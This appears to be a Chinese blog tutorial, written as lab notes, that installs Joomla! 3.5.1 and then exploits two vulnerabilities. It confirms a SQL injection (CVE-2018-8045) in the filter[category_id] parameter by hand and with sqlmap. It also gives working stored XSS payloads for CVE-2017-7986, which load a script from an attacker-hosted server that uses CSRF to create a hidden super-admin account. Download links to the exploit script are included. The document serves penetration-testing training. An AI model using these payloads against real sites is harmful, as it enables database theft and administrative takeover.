36_Joomla! 3.5.1安装部署、CVE-2018-8045漏洞利用、CVE-2017-7986漏洞利用、CVE-2017-7986_EXP.js

渗透测试实践

它使用户能够构建自定义网站和强大的在线应用程序

Joomla!中文网 : 首页 - ZMAX程序人

Joomla! 3.5.1安装部署与漏扫

蓝奏云:
https://wwtt.lanzn.com/b00uyckd9a
密码:2x71

步骤一:复制Joomla!3.5.1目录到网站根目录

将Joomla! 3.5.1压缩包解压后复制到网站根目录,并重命名为Joomla。

步骤二:网站安装向导的配置

1)使用浏览器访问Joomla网站

进入到安装向导的主要配置界面,如图-25所示。

分别填写网站名称(如:XX学习网站)、管理员的邮箱(如:admin@tedu.cn)、管理员的用户名(如:admin)、管理员的密码(如:123456)。

点击“下一步”。

2)数据库设置

点击“下一步”之后,进入数据库设置的界面,如图-26所示。

分别填写用户名(如:root)、数据库密码(如:root),其他保持默认即可。

点击“下一步”。

图-26

3)概况-最终确认

点击“下一步”之后,进入到概况界面如图-27、图-28所示,选择“博客风格的示范内容(英文)”,其他内容浏览再次确认,确认无误,之后点击“安装”。

点击“删除目录installation”,可进入“网站”或者“后台管理”,如图-29所示。  如果不删除假如黑客爆破到了这个目录一进来不就可以重新安装覆盖了嘛

问个问题,为啥数据库表要加前缀,因为加了前缀后名字就复杂了,相当于密码变复杂了,防止爆破,因为后面的表名都是有意义的,加上前面无意义的前缀,就不好猜了

步骤三:登录后台,对Joomla!进行汉化

1)在URL地址栏输入http://域名(IP)/administrator 登陆后台,并输入用户名和密码,点击“Log in”进行登录,如图-30所示。

2)对Joomla进行汉化

点击“Extensions”-“Language(s)”,如图-31所示,进入到语言设置界面。

点击“Install Languages”,如图-32所示,进入语言包的下载界面。

选择“Chinese Simplified”,如图-33所示,之后点击左上角“Install”进行安装,如图-34所示。

将汉化包设置为默认语言,网站前台及网站后台都将汉化包设置为默认语言,如图-35所示。因为是去国外网站比较慢,如果失败多试几次或者上mf

步骤四:使用AWVS对Joomla!进行漏洞扫描

具体创建目标网站、扫描步骤可参照AWVS的使用,扫描结果如图-36所示。

CVE-2018-8045漏洞利用

步骤一:对CVE-2018-8045进行漏洞验证

        正常来讲可以先简单测试一下,猜测一下整个后台哪些功能跟数据库有关系,跟数据库有数据的交互,那么这个功能呢就有可能存在SQL注入。关于注入点先找带有提交参数的功能,

1)点击“会员管理”-“会员注释管理”,如图-37所示,进入到会员注释管理界面,之后点击“按属性筛选”,如图-38所示。

2)配置Firefox代理功能。

Http Proxy:127.0.0.1

Port:8080

3)启动BurpSuite代理抓包,保证“Intercept is on”。

4)访问漏洞页面,抓取Post数据

在Joomla!后台点击“Uncategorised”。

在BurpSuite抓取数据,如图-42所示。

5)将filter[category_id]的值由7改成单引号’,如图-43所示,进行SQL注入漏洞的验证。

6)返回到Joomla!页面发现出现了报错,如图-44所示,则验证了SQL注入漏洞的存在。

        还可以换另一种思路,正常网站可能你是想不到哪儿就有注入点的:

        也可以先通过前端看到,第一个value和第一个的值不同。通过猜测,是不是可能放在where里面去筛选,通过where去查询不同的值然后会显示不同的内容,那就是说,刚刚看到的参数值就可能拼接到SQL语句里边,所以咱们测试点就在这里。

抓到的两个包放出来对比一下,[category_id]的值不同

filter[search]=

&list[fullordering]=a.review_time DESC

&list[limit]=20

&filter[published]=1

&filter[category_id]=7

&task=

&boxchecked=0

&2e231a48c25ae0f378ef9102e2345b4c=1

filter[search]=

&list[fullordering]=a.review_time DESC

&list[limit]=20

&filter[published]=1

&filter[category_id]=

&task=

&boxchecked=0

&2e231a48c25ae0f378ef9102e2345b4c=1

         或者简单点效率点的,也可以通过前端看到,第一个value和第一个的值不同。通过猜测,是不是可能放在where里面去筛选,通过where去查询不同的值然后会显示不同的内容,那就是说,刚刚看到的参数值就可能拼接到SQL语句里边,所以咱们测试点就在这里。可以发到重放模块去测

        先试试7-1,但看不太懂怎么办,其实burp的新版在右边有浏览器多个按钮可以打开,这个版本比较老就没有

        试一下看加引号,是不是引号生效了,还记得什么算是SQL注入,是不是拼接的内容以SQL语句的形式去执行就意味着SQL注入,既然加了引号报错了生效了那就是当成SQL语句执行了,所以这里是有漏洞的

        试一下7' and 1=2 -- -,判断双引还是单引,7' and 1=2 -- -,手动测试就得慢慢测了,但我们可以丢sqlmap工具呀,数据是post请求体里面,就得用到sqlmap的针对post的注入方式,接下来打开sqlmap。

步骤二:对CVE-2018-8045进行漏洞攻击

1)右击界面,点击“Copy to file”将抓取的数据复制到文件,命名为payload.txt,如图-45所示。

2)基于sqlmap进行SQL注入攻击

使用sqlmap -r功能读取POST注入,-p 对参数filter[category_id]进行sql注入漏洞验证,可继续渗透获取相关数据的表、列、字段等信息。

┌──(root💀kali)-[~]
└─# sqlmap  -r  payload.txt  -p  filter[category_id]   --batch

[INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12

注意下路径,跑起来后还是挺慢的也是一个个去测

        当然,可以用类似的方式看别的地方是不是也有类似的SQL注入,想快可以先前端检查一下,不同下拉框对应不同的值

加了引号或者' and 1=2 -- -,但是这儿没有报错,但是没报错不一定没有,是吧,如果你不想一个一个对的去测,可以交给sqlmap直接去跑这个参数不就行了嘛,但是这儿没有报错大概率就没有SQL注入的点。

        总之大家在挖漏洞的时候其实就是抓包然后去测,测每一个参数,比如加引号,盲注,之类的看那个包有什么反应有什么不同点

CVE-2017-7986漏洞利用

步骤一:在Joomla!中添加注册菜单项,开启用户的自注册功能

1)点击“菜单管理”-“Main Menu”-“添加菜单项”,如图-46所示。

2)填写菜单项名称(如:注册会员),选择“注册表单”的菜单项类型,如图-47所示。

3)点击“系统管理”-“全局配置”-“会员管理”,打开会员管理相关配置界面,如图-48、图-49所示。

  • 允许会员注册:是
  • 新会员默认会员组:Author
  • 发送密码:否
  • 新会员账号激活方法:无
  • 给管理员发通知邮件:否
  • 验证码:不使用
  • 网站前台语言:显示

步骤二:注册测试Joomla!会员

1)访问网站前台页面http://域名(IP),进入网站前台页面,点击“注册会员”,填写注册信息(用户名:tarena,密码:123456),进行注册,如图-50所示。

2)点击“Author Login”,输入用户名密码,登录测试用户tarena,如图-51所示。

3)图-52为登录过后的页面。

步骤三:发布文章验证CVE-2017-7986漏洞的存在

1)点击“Change Password”,将编辑器选择为“CodeMirror代码编辑器”,如图-53所示,可绕过客户端验证,之后点击“提交”。


如果正常流程可能还是先上h1标签、和弹窗看看如何

看到这里,h1好像生效了,但是下面的弹窗<script>标签没了,应该是被过滤了,做了简单的过滤,那么可以百度一下有哪些是可以被利用,都复制进去看一下哪些会被过滤,没被过滤的才有被利用的可能

点击按钮这里的onclick没了

总之思路就是这么个思路,就是不断测试

 2)点击“Create a Post”新建一篇文章测试XSS漏洞,文章内容如图-54所示。

<form><button formaction="javascript&colon;alert(1)">点我</button></form>

那么formaction函数是啥,可以去查一下,毕竟知识点有限的话可能只想到一些去测,如果想对XSS非常精通的话,就得把前端的html、js学熟,CSS可以放着不管,

3)点击“内容管理”-“文章管理”,点击“激活按钮”进行文章激活,如图-55所示。

4)返回前台首页,点击文章的“点我”按钮出现弹窗“1”,如图-56所示,由此判断存在XSS漏洞。

<form><button formaction="javascript&colon;alert(1)">点我</button></form>
这样的语句不熟不要紧,可以多积累这样的,以后测试XSS漏洞时总会用得上

步骤四:发布文章对CVE-2017-7986进行漏洞利用
下载地址:
https://wwtt.lanzn.com/b00uycq71c
密码:ebp3

1)搭建恶意网站,将“CVE-2017-7986_EXP.js”脚本放入kali网站服务的网站根目录(访问地址:http://192.168.67.5/ CVE-2017-7986_EXP.js),使XSS漏洞客访问js脚本,如图-57所示。

┌──(root㉿kali)-[~/桌面] └─# cp CVE-2017-7986_EXP.js /var/www/html

        说白了这就是个JS文件,里面就是一串JS代码,可以打开看看,有很多,里面写的都啥意思呢,待会做完效果后才好理解点。

        直接写到文章中也可以,但是太长太长了,所以咱们把它放到一个JS文件中,使用那种外链的方式链接进来让他执行,所以要用外链是不是得搭建一个可以访问到JS文件的网站啊,俗称恶意网站

这是把它放到网站根目录里边

注意要添加权限:

┌──(root💀localhost)-[/var/www/html] └─# chmod +r CVE-2017-7986_EXP.js

如果是kali,注意开启web服务:

┌──(root💀localhost)-[~/桌面] └─# systemctl restart apache2

结果我这儿跟OpenVAS的服务有冲突,不关掉它,那就换一个方法,直接丢在本机的皮皮面板里好了

总之通过浏览器能访问就行

  1. 新发布文章,文章内容为XSS攻击代码,如图-58所示。

注意:代码中的url是js脚本的访问地址,要根据自己的脚本地址进行填写。

<form><button formaction="javascript&colon;(function(){var url='http://192.168.1.16/CVE-2017-7986_EXP.js';if(typeof beef == 'undefined'){var bf = document.createElement('script');bf.type='text/javascript';bf.src=url;document.body.appendChild(bf);}})();">点我</button></form>

简单来讲,分行后会好看一些,就是加载了一个script标签,通过外链的方式 

<form><button formaction="javascript&colon;
(function(){
var url='http://192.168.10.1/CVE-2017-7986_EXP.js';
var bf = document.createElement('script');
bf.type='text/javascript';
bf.src=url;
document.body.appendChild(bf);
})();">点我</button></form>


<script type="text/javascript" src="http://192.168.10.1/CVE-2017-7986_EXP.js"></script>

        这个漏洞其实结合了两部分,一个是XSS,第二个通过JS代码构造了伪造的请求,利用了csrf漏洞,一起的结合

3)管理员后台预览文章,进入该文章,点击“版本管理”,如图-59所示。

4)勾选当前的版本,点击“预览”,进行文章预览,如图-60所示。

5)点击“点我”按钮,触发XSS攻击代码,如图-61所示。

6)进入会员列表,会发现对了一个超级用户“Tedu”,密码是“123456”,如图-62所示,XSS漏洞攻击代码被触发。

知识点:一XSS,csrf漏洞,结合

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值